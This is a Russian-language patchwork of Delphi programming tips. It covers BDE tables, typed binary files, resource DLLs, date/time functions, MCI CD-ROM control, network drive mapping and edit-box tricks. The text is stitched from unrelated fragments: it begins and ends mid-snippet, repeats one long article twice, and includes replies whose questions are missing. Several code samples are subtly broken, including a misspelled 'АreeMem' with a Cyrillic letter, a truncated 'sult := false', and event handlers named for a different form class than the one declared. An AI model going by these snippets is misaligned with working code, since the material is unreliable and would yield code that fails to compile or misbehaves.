int WINAPI RunDllW( HWND hWnd, HINSTANCE hInstance, LPCWSTR lpszCmdLine, DWORD
dummy )
......
и .def-файл пpимеpно такого вида:
EXPORTS
RunDll
RunDllA=RunDll
RunDllW
то rundll32 становится pазбоpчивой -- под HТ вызывает UNICODE-веpсию. Под 95, pазумеется, ANSI. Rulez.
Alexey A Popoff
pvax@glas.apc.org, posp@ccas.ru
http://www.ccas.ru/~posp/popov/pvax.html
Создайте пустой проект DLL , который содержит ссылку на файл ресурсов .res, который в свою очередь содержит необходимые вам
ресурсы.
Пример:
library ResTest;
uses
SysUtils;
{$R MYRES.RES}
begin
end.
Для использования DLL'и рерсурсов:
{$IFDEF WIN32}
const BadDllLoad = 0;
{$ELSE}
const BadDllLoad = 32;
{$ENDIF}
procedure TForm1.Button1Click(Sender: TObject);
var
h : THandle;
Icon : THandle;
begin
h := LoadLibrary('RESTEST.DLL');
if h <= BadDllLoad then
ShowMessage('Не удалось загрузить DLL ресурсов')
else begin
Icon := LoadIcon(h, 'ICON_1');
DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);
FreeLibrary(h);
end;
end;
часть программы хочу разместить в DLL
библиотеке,
но как из нее загружать формы и не тратить время на соединение с базой
данных
компонентом TDatabase не представляю . Может кто сталкивался с этим
вопросом ?
В DLL кидаешь на форму или DataModule компонент TDatabase.
Устанавливаеш следующие параметры:
AliasName - пустое
Connected - False
DatabaseName - какое хочеш для себя
LoginPrompt - False
Все запросы привязываются к Database в DLL.
Создаеш например
procedure InitDLL(DBHandle: HDBIDB); stdcall;
begin
...
Database.Handle := DBHandle;
...
end;
В основной программе загружаеш DLL вызываеш InitDLL,
а затем сколько угодно других процедур, которые создают формы.
Если только одна форма, так можно все объеденить.
Ну там уже как фантазия подскажет.
BDE содержит функцию DbiRegenIndexes() для восстановления разрушенных индексов
Добавьте в раздел USES модули DBITYPES, DBIPROCS и DBIERRS и вызывайте функцию:
DBIRegenIndexes(Table1.Handle);
Таблица должна быть открыта в исключительном режиме, и индекс уже должен существовать.
В статье рассматривается работа с бинарными файлами из Delphi, а так же использование Object Pascal для управления записью,
чтением и изменением собственных типов файлов.
Постановка задачи: Допустим, мне нужно в приложении Delphi сохранять некоторую информацию на диск. Мне не охото работать с
текстовыми файлами, так как просмотр и обновление информации в них довольно муторное занятие. Преобладать будут операции
записи и чтения, в то время как операции изменения и апдейта будут присутствовать в меньшей степени. Вся информация будет
хранится в переопределённом типе данных Pascal Record. Итак, какой подход мне лучше всего использовать?
BDE плюс Paradox или Access, ... спасибо, не надо...Не хотелось бы испытывать мороку с BDE. Использовать текстовые файлы ASCII
? Не пойдёт. Нужна хоть какая-то минимальная защита, а текстовые файлы "полностью видимы". Оказывается, ответ на данный
вопрос кроется в Delphi, а именно в непечатных файлах (или файлы некоторых типов/бинарные файлы).
Файлы
В Delphi существует три класса файлов: typed, text, и untyped. Файлы typed - это файлы, которые содержат данные определённого
типа, такие как Double, Integer или предварительно определённый тип Record. Текстовые файлы содержат читаемые символы ASCII.
Файлы Untyped используются в том случае, если мы хотим работать с файлом через определённую структуру.
Файлы Typed
В отличие от тектовых файлов, которые содержат строки, завершающиеся комбинацией CR/LF, файлы typed содержат данные, взятые
из определённой структуры данных.
Например, следующее объявление создаёт запись с именем TMember и массив переменных типа TMember, который мы будем
использовать для хранения нашей информации.
type
TMember = record
Name : string[50];
eMail : string[30];
Posts : LongInt;
end;
var Members : array[1..50] of TMember;
Перед тем, как мы сможем записать информацию на диск, нам необходимо объявить переменную типа file. Следующая строка
объявляет переменную файла F:
var F : file of TMember;
Обратите внимание: Чтобы создать файл typed в Delphi, мы используем следующий синтакс:
var SomeTypedFile : file of SomeType
Базовый тип (SomeType) для файла может быть скалярным (наподобие Double), массивом или записью. Он не может быть длинной
строкой, динамическим массивом, классом, объектом или указателем.
Чтобы начать работать с файлом из Delphi нам надо связать файл на диске с переменной файла в нашей программе. Для этого
используем процедуру AssignFile.
AssignFile(F, 'Members.dat')
Как только связь с внешним файлом установлена, переменную F необходимо 'открыть' для подготовки её к чтению или записи. Для
открытия существующего файла мы используем процедуру Reset либо Rewrite для создания нового файла. После того, как программа
закончит обработку файла, его необходимо закрыть при помощи процедуры CloseFile. Сразу после закрытия файла, связанный с ним
внешний файл будет обновлён. Затем переменную файла можно связать с другим внешним файлом. Вообще, мы должны всегда
производить обработку исключительных ситуаций, так как при работе с файлами может происходить довольно много ошибок.
Например, если мы вызовем CloseFile для файла, который уже закрыт, то Delphi выдаст ошибку I/O. С другой стороны, если мы
попробуем закрыть файл, до вызова AssignFile, то результаты могут быть непредсказуемыми.
Запись
Предположим, что у нас есть массив, заполненный именами, e-мейлами и т.д., и мы хотим сохранить эту информацию на диск.
Делается это следующим образом:
var F : file of TMember;
begin
AssignFile(F,'members.dat');
Rewrite(F);
try
for i:= 1 to 50 do
Write (F, Members[i]);
finally
CloseFile(F);
end;
end;
Чтение
Для получения всей информации из файла 'members.dat' используется следующий код:
var Member: TMember
F : file of TMember;
begin
AssignFile(F,'members.dat');
Reset(F);
try
while not Eof(F) do begin
Read (F, Member);
{ Что-нибудь делаем с данными; }
end;
finally
CloseFile(F);
end;
end;
Обратите внимание: Eof это функция проверки конца файла (EndOfFile). Мы используем эту функцию, чтобы не выйти за пределы
файла (за пределы последней, сохранённой записи).
Поиск и позиционирование
Обычно, доступ к файлам осуществляется последовательно. При чтении из файла (используя стандартную процедуру Read) или при
записи (используя стандартную процедуру Write), текущая позиция в файле перемещается на следующий по порядку компонент
(следующая запись). К файлам typed так же можно обращаться через стандартную процедуру Seek, которая перемещает текущую
позицию в файле на указанный компонент. Для определения текущей позиции в файле и размера файла можно использовать функции
FilePos и FileSize.
{устанавливаем на начало - на первую запись}
Seek(F, 0);
{устанавливаем на 5-ю запись}
Seek(F, 5);
{Переходим в конец - "после" последней записи}
Seek(F, FileSize(F));
Изменение и обновление
Мы разобрались как записывать и считывать из файла массив Members. А что, если нам нужно найти десятую запись и изменить в ней
e-mail? Давайте посмотрим на процедуру, которая делает это:
procedure ChangeEMail
(const RecN : integer; const NewEMail : string);
var DummyMember : TMember;
begin
{связывание, открытие, блок обработки исключений}
Seek(F, RecN);
Read(F, DummyMember);
DummyMember.Email := NewEMail;
{чтение перемещается на следующую запись, для этого необходимо
вернуться на первоначальную запись, а затем записать}
Seek(F, RecN);
Write(F, DummyMember);
{закрываем файл}
end;
Всё готово
Итак, теперь мы имеем всё, что нам нужно для реализации нашей задачи. Мы можем записать информацию на диск, считать её, и даже
изменить некоторые данные (например, e-mail) в "середине" файла.
Самое главное, что этот файл не в ASCII формате
uses DB, DBTables, StdCtrls;
procedure TForm1.Button1Click(Sender: TObject);
var
tSource, TDest: TTable;
begin
TSource := TTable.create(self);
with TSource do begin
DatabaseName := 'dbdemos';
TableName := 'customer.db';
open;
end;
TDest := TTable.create(self);
with TDest do begin
DatabaseName := 'dbdemos';
TableName := 'MyNewTbl.db';
FieldDefs.Assign(TSource.FieldDefs);
IndexDefs.Assign(TSource.IndexDefs);
CreateTable;
end;
TSource.close;
end;
Дополнение
В совете, на мой взгляд, неточность. Приведен пример копирования структуры одной таблицы в другую. Если нужно создать
таблицу, то:
Простейший способ - использовать SQL запрос. Таблицы можно создавать с индексом и без индекса.
Небольшой пример
const
CreateTab = 'CREATE TABLE ';
IDXTab = 'PRIMARY KEY ';
MyTabStruct =
'IDX_TAB DECIMAL(6,0), '+
'DATE_ DATE, '+
'FLD_1 CHARACTER(20), '+
'FLD_2 DECIMAL(7,2), '+
'FLD_3 BOOLEAN, '+
'FLD_4 BLOB(1,1), '+
'FLD_5 BLOB(1,2), '+
'FLD_6 BLOB(1,3), '+
'FLD_7 BLOB(1,4), '+
'FLD_8 BLOB(1,5) ';
…
// создание таблицы без индекса
procedure TForm1.Button1Click(Sender: TObject);
begin
if CreateTable('"MYTAB.DBF"', MyTabStruct, '') then
…
// выполняем дальнейшие операции
else
…
end;
// создание таблицы с индексом
procedure TForm1.Button2Click(Sender: TObject);
begin
if CreateTable('"MYTAB.DBF"', MyTabStruct, IDXTab+' (IDX_TAB)') then
…
// выполняем дальнейшие операции
else
…
end;
function TForm1.CreateTable(TabName, TabStruct, TabIDX: string): boolean;
var
qyTable: TQuery;
begin
result := true;
qyTable := TQuery.Create(Self);
with qyTable do
try
try
SQL.Clear;
SQL.Add(CreateTab+TabName+'('+TabStruct+TabIDX+')');
Prepare;
// ExecSQL, а не Open. Иначе ... облом
ExecSQL;
except
// Обработка ошибок открытия таблицы Возможности обработчика можно расширить.
Exception.Create('Ошибка открытия таблицы');
result := false;
end;
finally
Close;
end;
end;
Вот так:
procedure TForm1.Button1Click(Sender: TObject);
type
TMyRec = record
i1,i2,i3:Integer;
end;
TMyArr=array[1..20000000] of TMyRec;
PMyArr=^TMyArr;
var
A:PMyArr;
begin
GetMem(A,SizeOf(TMyArr));
A^[1].i1:=100;
ShowMessage('Ok'+IntToStr(A^[1].i1));
АreeMem(A);
end;
На форме :
Table1 - Существующая таблица
Table2 - Таблица которую будем создавать
procedure TForm1.Button1Click(Sender: TObject);
begin
With Table1 Do
Begin
DatabaseName:="VMB";
TableName:="MAN.DBF";
Open;
End;
With Table2 Do
Begin
FieldDefs:=Table1.FieldDefs;
DatabaseName:="VPB"; - {алиас в BDE, или сразу каталог}
Моя собственная база данных
( Перевод одноимённой статьи с сайта delphi.about.com )
В статье рассматривается работа с бинарными файлами из Delphi, а так же использование Object Pascal для
управления записью, чтением и изменением собственных типов файлов.
Постановка задачи: Допустим, мне нужно в приложении Delphi сохранять некоторую информацию на диск. Мне не
охото работать с текстовыми файлами, так как просмотр и обновление информации в них довольно муторное
занятие. Преобладать будут операции записи и чтения, в то время как операции изменения и апдейта будут
присутствовать в меньшей степени. Вся информация будет хранится в переопределённом типе данных Pascal
Record. Итак, какой подход мне лучше всего использовать?
BDE плюс Paradox или Access, ... спасибо, не надо...Не хотелось бы испытывать мороку с BDE. Использовать
текстовые файлы ASCII ? Не пойдёт. Нужна хоть какая-то минимальная защита, а текстовые файлы "полностью
видимы". Оказывается, ответ на данный вопрос кроется в Delphi, а именно в непечатных файлах (или файлы
некоторых типов/бинарные файлы).
Файлы
В Delphi существует три класса файлов: typed, text, и untyped. Файлы typed - это файлы, которые содержат данные
определённого типа, такие как Double, Integer или предварительно определённый тип Record. Текстовые файлы
содержат читаемые символы ASCII. Файлы Untyped используются в том случае, если мы хотим работать с файлом
через определённую структуру.
Файлы Typed
В отличие от тектовых файлов, которые содержат строки, завершающиеся комбинацией CR/LF, файлы typed
содержат данные, взятые из определённой структуры данных.
Например, следующее объявление создаёт запись с именем TMember и массив переменных типа TMember, который
мы будем использовать для хранения нашей информации.
type
TMember = record
Name : string[50];
eMail : string[30];
Posts : LongInt;
end;
var Members : array[1..50] of TMember;
Перед тем, как мы сможем записать информацию на диск, нам необходимо объявить переменную типа file.
Следующая строка объявляет переменную файла F:
var F : file of TMember;
Обратите внимание: Чтобы создать файл typed в Delphi, мы используем следующий синтакс:
var SomeTypedFile : file of SomeType
Базовый тип (SomeType) для файла может быть скалярным (наподобие Double), массивом или записью. Он не
может быть длинной строкой, динамическим массивом, классом, объектом или указателем.
Чтобы начать работать с файлом из Delphi нам надо связать файл на диске с переменной файла в нашей
программе. Для этого используем процедуру AssignFile.
AssignFile(F, 'Members.dat')
Как только связь с внешним файлом установлена, переменную F необходимо 'открыть' для подготовки её к чтению
или записи. Для открытия существующего файла мы используем процедуру Reset либо Rewrite для создания нового
файла. После того, как программа закончит обработку файла, его необходимо закрыть при помощи процедуры
CloseFile. Сразу после закрытия файла, связанный с ним внешний файл будет обновлён. Затем переменную файла
можно связать с другим внешним файлом. Вообще, мы должны всегда производить обработку исключительных
ситуаций, так как при работе с файлами может происходить довольно много ошибок. Например, если мы вызовем
CloseFile для файла, который уже закрыт, то Delphi выдаст ошибку I/O. С другой стороны, если мы попробуем
закрыть файл, до вызова AssignFile, то результаты могут быть непредсказуемыми.
Запись
Предположим, что у нас есть массив, заполненный именами, e-мейлами и т.д., и мы хотим сохранить эту
информацию на диск. Делается это следующим образом:
var F : file of TMember;
begin
AssignFile(F,'members.dat');
Rewrite(F);
try
for i:= 1 to 50 do
Write (F, Members[i]);
finally
CloseFile(F);
end;
end;
Чтение
Для получения всей информации из файла 'members.dat' используется следующий код:
var Member: TMember
F : file of TMember;
begin
AssignFile(F,'members.dat');
Reset(F);
try
while not Eof(F) do begin
Read (F, Member);
{ Что-нибудь делаем с данными; }
end;
finally
CloseFile(F);
end;
end;
Обратите внимание: Eof это функция проверки конца файла (EndOfFile). Мы используем эту функцию, чтобы не выйти
за пределы файла (за пределы последней, сохранённой записи).
Поиск и позиционирование
Обычно, доступ к файлам осуществляется последовательно. При чтении из файла (используя стандартную
процедуру Read) или при записи (используя стандартную процедуру Write), текущая позиция в файле перемещается
на следующий по порядку компонент (следующая запись). К файлам typed так же можно обращаться через
стандартную процедуру Seek, которая перемещает текущую позицию в файле на указанный компонент. Для
определения текущей позиции в файле и размера файла можно использовать функции FilePos и FileSize.
{устанавливаем на начало - на первую запись}
Seek(F, 0);
{устанавливаем на 5-ю запись}
Seek(F, 5);
{Переходим в конец - "после" последней записи}
Seek(F, FileSize(F));
Изменение и обновление
Мы разобрались как записывать и считывать из файла массив Members. А что, если нам нужно найти десятую
запись и изменить в ней e-mail? Давайте посмотрим на процедуру, которая делает это:
procedure ChangeEMail
(const RecN : integer; const NewEMail : string);
var DummyMember : TMember;
begin
{связывание, открытие, блок обработки исключений}
Seek(F, RecN);
Read(F, DummyMember);
DummyMember.Email := NewEMail;
{чтение перемещается на следующую запись, для этого необходимо
вернуться на первоначальную запись, а затем записать}
Seek(F, RecN);
Write(F, DummyMember);
{закрываем файл}
end;
Всё готово
Итак, теперь мы имеем всё, что нам нужно для реализации нашей задачи. Мы можем записать информацию на
диск, считать её, и даже изменить некоторые данные (например, e-mail) в "середине" файла.
Самое главное, что этот файл не в ASCII формате, и вот как выглядит в Notepad (только одна запись):
Delphi Guide g Т5·їм 5 B V Lѓ ,"Ё delphi.guide@about.comП з з п
TFieldDataLink. За D2 не скажу, а в D1 в Help'е его нет, pеализован в
\DELPHI\SOURCE\VCL\DBTABLES.PAS.
VV> Более конкретный вопрос: Как заставить произвольные объекты
VV> (предположительно формы) реагировать на изменения в каком-то DataSource?
type
TMyForm = class(TForm)
{...}
Table1: TTable;
DataSource1: TDataSource;
private
FDL : TFieldDataLink;
procedure RecChange(Sender: TObject);
public
{...}
end;
procedure TMyForm.FormCreate(Sender: TObject);
begin
FDL:=TFieldDataLink.Create;
FDL.OnDataChange:=RecChange;
FDL.DataSource:=DataSource1;
FDL.FieldName:='MyFieldName';
end;
procedure TTabEditDlg.FormDestroy(Sender: TObject);
begin
FDL.Free;
end;
procedure TTabEditDlg.MasterChange(Sender: TObject);
begin
{... тут pеагиpуй на изменения ...}
end;
TDateTime <-> Word
function EncodeDate(Year, Month, Day: Word): TDateTime;
Эта функция по заданным данным - числу, месяцу и году - генерирует переменную типа TDateTime с
соответствующими параметрами. Входные данные определены ниже, а, при их нарушении, выдается ошибка.
Year (Word) - год. Может принимать значения от 1 до 9999 (число соответствует году).
Month (Word) - месяц. Значения могут быть от 1 (январь) до 12 (декабрь).
Day (Word) - день. Входные значения могут быть от 1 до 28, 29, 30 или 31 - последнее зависит от месяца и года.
=========
procedure DecodeDate(Date: TDateTime; var Year, Month, Day: Word);
Данная процедура противоположна только что описанной функции: процедура возвращает три переменные типа
Word, соответствующие году, месяцу и дате, заданным в переменной типа TDateTime
Date (TDateTime) - переменная, содержащая дату, которая подлежит "расшифровке".
Year (Word) - год. Принимает значения от 1 до 9999.
Month (TDateTime) - месяц. Значения от 1 (январь) до 12 (декабрь).
Day (TDateTime) - день. Значения от 1 до 31 (последний предел зависит от месяца/года).
=========
function EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime;
Функция, которая по данным - час, минута, секунда, миллисекунда - генерирует переменную типа TDateTime.
Входные данные, необходимые для выполнения данной функции, определены ниже, а, при их нарушении, выдается
ошибка.
Hour (Word) - час. Значения от 0 до 23.
Min (Word) - минута. Значения от 0 до 59.
Sec (Word) - секунда. Значения от 0 до 59.
MSec (Word) - миллисекунда. Значения от 0 до 999.
=========
procedure DecodeTime(Time: TDateTime; var Hour, Min, Sec, MSec: Word);
Разбивает переменную Time (TDateTime) на часы, минуты, секунды, миллисекунды.
Hour (Word) - час. Значения от 0 до 23.
Min (Word) - минута. Значения от 0 до 59.
Sec (Word) - секунда. Значения от 0 до 59.
MSec (Word) - миллисекунда. Значения от 0 до 999.
TTimeStamp
Кроме TDateTime для работы с датой временем существует тип TTimeStamp:
type TTimeStamp = record
Time: Integer;
Date: Integer;
end;
В переменной Time содержится количество миллисекунд, прошедших с полуночи текущего дня.
А в переменной Date содержится количество дней, прошедших с 01.01.0001 + один.
Где это можно использовать? Это можно использовать, например, для подсчета времени, которое было потрачено
на какую-нибудь операцию. Например, поиск файлов. Пример мы рассмотрим ниже, после изучения некоторых
процедур.
=========
function DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
С этой функцией все предельно просто. Она возвращает значение переменной DateTime (TDateTime) в формате
TTimeStamp.
function TimeStampToDateTime(Time: TTimeStamp): TDateTime;
Эта функция обратная предыдущей, возвращает значение переменной Time (TTimeStamp) в формате TDateTime.
=========
Вот теперь и рассмотрим алгоритм, подсчета времени, которое ушло на какую-либо операцию.
Var OperBegin, OperEnd: TTimeStamp;
Total: LongWord;
begin
OperBegin:=DateTimeToTimeStamp(Now); {запоминается момент начала операции}
{Здесь идет алгоритм непосредственно самой операции}
OperEnd:=DateTimeToTimeStamp(Now); {запоминается момент окончания операции}
Total:=OperEnd.Time-OperBegin.Time;
end;
После этого, в переменной Total окажется количество миллисекунд, за которые исполнился алгоритм. Правда, у
приведенного здесь алгоритма есть один недостаток.
=========
Частичное изменение TDateTime
Иногда бывает нужно изменить только дату или только время в переменной типа TDateTime. На этот случай есть
две процедуры:
procedure ReplaceDate(var DateTime: TDateTime; const NewDate: TDateTime);
procedure ReplaceTime(var DateTime: TDateTime; const NewTime: TDateTime);
Первая процедура заменяет дату в переменной DateTime на дату, которая указана в переменной NewDate. При этом
время остается в целости и сохранности.
Вторая же заменяет время в переменной DateTime на время, стоящее в переменной NewTime. При этом дата
остается нетронутой.
TDate
Наряду с типом TDateTime существует тип TDate. В принципе, TDate это вырожденный случай TDateTime, когда
время не имеет никакого значения. То есть тип TDate хранит только дату в формате целого числа
Чтобы вызвать диалог, в котором бы пользователь должен был ввести что-нибудь,
достаточно воспользоваться функцией InputBox или InputQuery.
Эти функции создают диалог с полем ввода, надписью над ним и двумя кнопками: "OK" и "Cancel".
Параметры управляют заголовком окна, надписью над полем ввода и начальным значением.
Функции отличаются тем, что после вызова InputBox нельзя понять:
пользователь нажал "OK", не изменив текст, или "Cancel",
а текст был восстановлен самой фунцией.
InputQuery возвращает значение типа boolean по которому можно определить,
какую кнопку нажал пользователь. Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Caption := InputBox('Заголовок окна',
'Введите, пожалуйста, заголовок окна:', Form1.Caption);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
begin
s := Form1.Caption;
if not InputQuery('Заголовок окна',
'Введите, пожалуйста, заголовок окна:', s)
then s := 'No value';
Form1.Caption := s;
end;
Там не листбокс, а EDIT, но суть точно та же. Чтобы получить текст, а не записать его, надо просто использовать
Get вместо Set. Судя по тому, что программа уже 2 года работает без малейших проблем, Z-порядок при каждом
показе диалога один и тот же.
program Project1;
uses
Windows, Messages;
const
Title1 = 'Установка связи';
Title2 = 'Удаленное соединение';
Login = '...';
Password = '...';
var
Wnd: HWND;
Control: array [0..127] of char;
procedure TypeTextIntoNextEdit(AText:string);
begin
repeat // Ищем следующее в Z-порядке окно класса EDIT
Wnd := GetWindow(Wnd, GW_HWNDNEXT);
GetClassName(Wnd, Control, SizeOf(Control))
until Control = 'Edit';
SendMessage(Wnd, WM_SETTEXT, 0, Integer(PChar(AText))) // Вводим текст
end;
begin
Wnd := FindWindow(nil, Title1); // Это окно самого диалога
if Wnd = 0 then // Если не найдено, ищем другой диалог
begin
Wnd := FindWindow(nil, Title2);
if Wnd = 0 then Exit;
end;
Wnd := GetWindow(Wnd, GW_CHILD); // Это верхний комбобокс
TypeTextIntoNextEdit(Login); // Вводим логин
TypeTextIntoNextEdit(Password) // Вводим пароль
end.
=== 1 ===
mciSendString('Set cdaudio Door Open Wait', nil, 0, handle);
Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);
=== 2 ===
Для закрытия CD-ROMа:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
Для открытия CD-ROMа:
mciSendString('Set cdaudio door open wait', nil, 0, handle);
Только не забудьте добавить в Uses библиотеку MMSystem.
Function GetFirstCDROM:string;
{возвращает букву 1-го привода CD-ROM или пустую строку}
var
w:dword;
Root:string;
i:integer;
begin
w:=GetLogicalDrives;
Root:='#:\';
for i:=0 to 25 do begin
Root[1] := Char(Ord('A')+i);
if (W and (1 shl i))>0
then if GetDriveType(Pchar(Root)) = DRIVE_CDROM then begin
Result:=Root[1];
exit;
end;
end;
Result:='';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
OldErrorMode : Integer;
fp : TextFile;
begin
try
OldErrorMode := SetErrorMode(SEM_FAILCRITICALERRORS);
try
AssignFile(fp,'A:\foo.bar');
Reset(fp);
CloseFile(fp);
finally
SetErrorMode(OldErrorMode);
end;
except
on E:EInOutError do
if E.ErrorCode = 21 then
ShowMessage('Нет доступа к дисководу A:\');
end;
end;
Деpжи pабочий кусок кода из пpогpаммы "мэйлеpа" сетевой FIDO станции:
var nw:TNetResource;
...
nw.dwType:=RESOURCETYPE_DISK;
nw.lpLocalName:=nil;
nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL');
nw.lpProvider:=nil;
if MailServer.Password<>'' then
Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0)
else
Err:=WNetAddConnection2(nw,nil,nil,0);
If Err=NO_ERROR then
begin
...
end;
MailServer.RemoteName и Password -- имя удаленного компа в сети и
паpоль доступа к pесуpсу соответвенно.
ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'. если хочешь подключить сетевой pесуpс как локальный
диск -- меняй
nw.lpLocalName.
pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.
Ответ:
В примере время выводится по таймеру.
Пример:
uses MMSystem;
procedure TForm1.Timer1Timer(Sender: TObject);
var Trk : Word;
Min : Word;
Sec : Word;
begin
with MediaPlayer1 do
begin
Trk := MCI_TMSF_TRACK(Position);
Min := MCI_TMSF_MINUTE(Position);
Sec := MCI_TMSF_SECOND(Position);
Label1.Caption := Format('%.2d',[Trk]);
Label2.Caption := Format('%.2d:%.2d',[Min,Sec]);
end;
end;
Ответ:
Можно использовать функцию Windows API GetDriveType() чтобы определить является ли дисковод CD-ROM'мом. И функцию API
GetVolumeInformation() чтобы проверить VolumeName на равенство 'Audio CD'.
Пример:
function IsAudioCD(Drive : char) : bool;
var
DrivePath : string;
MaximumComponentLength : DWORD;
FileSystemFlags : DWORD;
VolumeName : string;
Begin
sult := false;
DrivePath := Drive + ':\';
if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then
exit;
SetLength(VolumeName, 64);
GetVolumeInformation(PChar(DrivePath),PChar(VolumeName),
Length(VolumeName),nil,MaximumComponentLength,FileSystemFlags,nil,0);
if lStrCmp(PChar(VolumeName),'Audio CD') = 0 then
result := true;
end;
function PlayAudioCD(Drive : char) : bool;
var
mp : TMediaPlayer;
begin
result := false;
Application.ProcessMessages;
if not IsAudioCD(Drive) then
exit;
mp := TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent := Application.MainForm;
mp.Shareable := true;
mp.DeviceType := dtCDAudio;
mp.FileName := Drive + ':';
mp.Shareable := true;
mp.Open;
Application.ProcessMessages;
mp.Play;
Application.ProcessMessages;
mp.Close;
Application.ProcessMessages;
mp.free;
result := true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not PlayAudioCD('D') then
ShowMessage('Not an Audio CD');
end;
Ответ:
CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение
Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает
уникальную ID-строку.
Пример:
uses MMSystem, MPlayer;
procedure TForm1.Button1Click(Sender: TObject);
var
mp : TMediaPlayer;
msp : TMCI_INFO_PARMS;
MediaString : array[0..255] of char;
ret : longint;
begin
mp := TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent := Application.MainForm;
mp.Shareable := true;
mp.DeviceType := dtCDAudio;
mp.FileName := 'D:';
mp.Open;
Application.ProcessMessages;
FillChar(MediaString, sizeof(MediaString), #0);
FillChar(msp, sizeof(msp), #0);
msp.lpstrReturn := @MediaString;
msp.dwRetSize := 255;
ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,
longint(@msp));
if Ret <> 0 then
begin
MciGetErrorString(ret, @MediaString, sizeof(MediaString));
Memo1.Lines.Add(StrPas(MediaString));
end
else
Memo1.Lines.Add(StrPas(MediaString));
mp.Close;
Application.ProcessMessages;
mp.free;
end;
end.
function GetVolumeInfoFVS(const Dir:string;
var FileSystemName,VolumeName:string;var Serial:longint):boolean;
{Получение информации о диске
Dir - каталог или буква требуемого диска
FileSystemName - название файловой системы
VolumeName - метка диска
Serial - серийный номер диска
В случае ошибки функция возвращает false}
var
root : pchar;
res : longbool;
VolumeNameBuffer,FileSystemNameBuffer : pchar;
VolumeNameSize,FileSystemNameSize : DWord;
VolumeSerialNumber,MaximumComponentLength,FileSystemFlags : DWORD;
s : string;
n : integer;
begin
n:=pos(':',Dir);
if n>0 then s:=copy(Dir,1,n+1) else s:=s+':';
if s[length(s)]=':' then s:=s+'\';
root:=pchar(s);
getMem(VolumeNameBuffer,256);
getMem(FileSystemNameBuffer,256);
VolumeNameSize:=255;
FileSystemNameSize:=255;
res:=GetVolumeInformation(Root,VolumeNameBuffer,VolumeNameSize ,@VolumeSerialNumber, MaximumComponentLength,
FileSystemFlags ,FileSystemNameBuffer,FileSystemNameSize);
Result:=res;
VolumeName:=VolumeNameBuffer;
FileSystemName:=FileSystemNameBuffer;
Serial:=VolumeSerialNumber;
freeMem(VolumeNameBuffer,256);
freeMem(FileSystemNameBuffer,256);
end;
Вы можете использовать функцию Windows API SetErrorMode() для отключения диалога Window's critical Error.
function IsDriveReady(DriveLetter : char) : bool;
var
OldErrorMode : Word;
OldDirectory : string;
Begin
OldErrorMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
GetDir(0, OldDirectory);
{$I-}
ChDir(DriveLetter + ':\');
{$I+}
if IoResult <> 0 then
Result := False
Else
Result := True;
ChDir(OldDirectory);
SetErrorMode(OldErrorMode);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not IsDriveReady('A') then
ShowMessage('Drive Not Ready') else
ShowMessage('Drive is Ready'); end;
TEdit не поддерживает выравниваение текста по центру и по правой стороне - лучше использовать компонент TMemo. Вам
понадобится запретить пользователю нажимать Enter, Ctrl-Enter и всевозможные комбинации клавиш со стрелками, чтобы избежать
появления нескольких сторк в Memo. Этого можно добиться и просматривая содержимое текста в TMemo в поисках кода возврата
каретки (13) и перевода строки(10) на событиях TMemo Change и KeyPress. Можно также заменять код возврата каретки на пробел -
для того чтобы позволять вставку из буфера обмена многострочного текста в виде одной строки.
Пример:
procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Alignment := taRightJustify;
Memo1.MaxLength := 24;
Memo1.WantReturns := false;
Memo1.WordWrap := false;
end;
procedure MultiLineMemoToSingleLine(Memo : TMemo);
var
t : string;
begin
t := Memo.Text;
if Pos(#13, t) > 0 then
begin
while Pos(#13, t) > 0 do
delete(t, Pos(#13, t), 1);
while Pos(#10, t) > 0 do
delete(t, Pos(#10, t), 1);
Memo.Text := t;
end;
end;
procedure TForm1.Memo1Change(Sender: TObject);
begin
MultiLineMemoToSingleLine(Memo1);
end;
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
MultiLineMemoToSingleLine(Memo1);
end;
В примере приведено два способа ограничить длинну текста в TEdit так чтобы она не превышала ширину клиентской области окна
TEdit'а и не появлялась прокрутка текста. Первый способ устанавливает свойство TEdit'а MaxLength равным числу букв "W",
которые поместятся в TEdit. "W" выбрана потому, что является, наверное, самой широкой буквой в любом шрифте. Этот метод
сносно работает для шрифтов с фиксированной шириной букв, но для шрифтов с переменной шириной букв вряд ли сгодится.
Второй способ перхватывает событие KeyPress TEdit'а и измеряет ширину уже введенного текста и ширину нового символа. Если
ширина больше чем клиентская область TEdit'а новый символ отбрасывается и вызывается MessageBeep.
Пример:
procedure TForm1.FormCreate(Sender: TObject);
var
cRect : TRect;
bm : TBitmap;
s : string;
begin
Windows.GetClientRect(Edit1.Handle, cRect);
bm := TBitmap.Create;
bm.Width := cRect.Right;
bm.Height := cRect.Bottom;
bm.Canvas.Font := Edit1.Font;
s := 'W';
while bm.Canvas.TextWidth(s) < CRect.Right do
s := s + 'W';
if length(s) > 1 then
begin
Delete(s, 1, 1);
Edit1.MaxLength := Length(s);
end;
end;
{Другой вариант}
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
cRect : TRect;
bm : TBitmap;
begin
if ((Ord(Key) <> VK_TAB) and (Ord(Key) <> VK_RETURN) and
(Ord(Key) <> VK_LEFT) and (Ord(Key) <> VK_BACK)) then
begin
